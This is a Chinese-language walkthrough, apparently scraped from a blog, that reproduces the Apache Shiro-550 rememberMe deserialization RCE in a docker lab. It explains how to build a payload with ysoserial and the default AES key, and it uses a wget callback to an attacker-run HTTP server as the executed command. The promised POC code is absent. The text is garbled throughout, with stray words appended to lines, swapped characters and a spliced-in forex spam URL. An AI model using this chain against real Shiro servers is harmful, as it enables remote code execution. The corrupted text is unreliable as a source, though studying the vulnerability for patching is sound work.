Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为550的 issue 中爆出严重的 Java 反序列化漏洞。下面,咱们将模拟还原此漏洞的场景以及分析过程。java
复现过程python
1、 搭建漏洞环境docker
有大佬已经搭建了docker环境能够直接使用。在安装docker后执行命令拉取环境运行就有了漏洞环境了。(docker真是个好东西啊)安全
1.拉取环境到本地服务器
docker pull medicean/vulapps:s_shiro_1cookie
2.启动环境app
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1框架
由于我已经拉下来过了dockers环境了因此直接启动docker,在docker中将shiro环境的8080端口映射到了主机的80端口,因此直接访问127.0.0.1就能够了。工具
2、 漏洞分析编码
从官方的 issue 上来看,漏洞的利用点是在cookie里的rememberMe参数,这个参数的值是AES加密再base64以后设置在cookie中的。在服务端对rememberMe的cookie值的操做应该是先base64解码而后AES解密再反序列化,就致使了反序列化RCE漏洞。
服务端接收rememberMe的cookie值:
rememberMe的cookie值=>base64解码=>AES解密=>反序列化
咱们要利用那么POC就须要先反序列化而后再AES加密最后base64编码
Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>payloadfunction(){ //外汇跟单www.gendan5.com
在shrio中AES加密有一个iv向量可是没有用到因此随机生成一个就了,重要的是密钥密钥,若是没有修改默认的密钥那么就很容易就知道密钥了,以后就是编写POC了。
3、 编写POC
POC确定是py写快一点鸭,须要用到java的反序列化工具ysoserial(在文末附上这个jar包的下载连接),py的Crypto模块,这个模块安装可能会出问题可是kali里py环境集成了这个模块。这里是一个简易版的POC只是生成一个payload而后使用,没有实现自动化。
POC代码以下:
4、 漏洞利用
先登录,勾选remberme
而后抓包随便点一个页面包含有cookie参数的,这里抓的是登录后的第一个包
在vps或同网段虚拟机中执行“python –m SimpleHTTPServer 8080”, 而后再使用poc生成payload,这里执行的是“wget http://127.0.0.1:7080/”,让其去访问个人服务器执行命令
修复建议
一、升级shiro版本
二、修改文件中硬编码的密钥